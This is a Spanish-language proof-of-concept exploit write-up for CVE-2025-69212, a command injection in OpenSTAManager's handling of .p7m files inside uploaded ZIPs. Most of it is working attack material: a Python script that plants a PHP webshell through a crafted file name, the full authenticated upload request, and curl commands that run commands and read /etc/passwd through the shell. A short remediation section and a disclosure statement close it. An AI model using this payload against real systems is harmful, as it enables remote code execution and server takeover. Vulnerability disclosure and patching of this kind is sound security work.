
Exploit de prueba de concepto para CVE-2025-69212: inyección de comandos del sistema operativo en el procesamiento de archivos P7M de OpenSTAManager, que permite la ejecución remota de código autenticada mediante la carga de un ZIP malicioso.
| Campo | Detalles |
|---|
| ID de CVE | CVE-2025-69212 |
| Gravedad | CRÍTICA |
| Aviso | Ver aviso |
| Descubierto por | Lukasz Rybak |
Existe una vulnerabilidad crítica de inyección de comandos del sistema operativo en la funcionalidad de decodificación de archivos P7M (XML firmado). Un atacante autenticado puede subir un archivo ZIP que contenga un archivo .p7m con un nombre de archivo malicioso para ejecutar comandos arbitrarios del sistema en el servidor.
Archivo: src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
El problema:
$file se pasa directamente a exec() sin sanitizaciónplugins/importFE_ZIP/actions.php:126 (cuando la importación automática está habilitada)
foreach ($files_xml as $xml) {
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP!
plugins/importFE/src/FatturaElettronica.php:56 (constructor)
if (string_ends_with($name, '.p7m')) {
$file = XML::decodeP7M($this->file); // $name from user input!
.p7m, se llama a decodeP7M()exec()⚠️ NOTA IMPORTANTE: ZipArchive::extractTo() de PHP divide los nombres de archivo por el carácter /. El payload NO debe contener / en los comandos. Usa cd directory && command en lugar de rutas absolutas.
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--


Respuesta (se espera un error 500: el análisis XML falla DESPUÉS de la ejecución del comando):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
Verificación: se creó la webshell

La webshell es accesible públicamente sin autenticación:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]

public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
o
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
Descubierto por: Łukasz Rybak
Este CVE fue divulgado de forma responsable siguiendo prácticas de divulgación coordinada de vulnerabilidades. La información aquí proporcionada es únicamente con fines educativos y defensivos.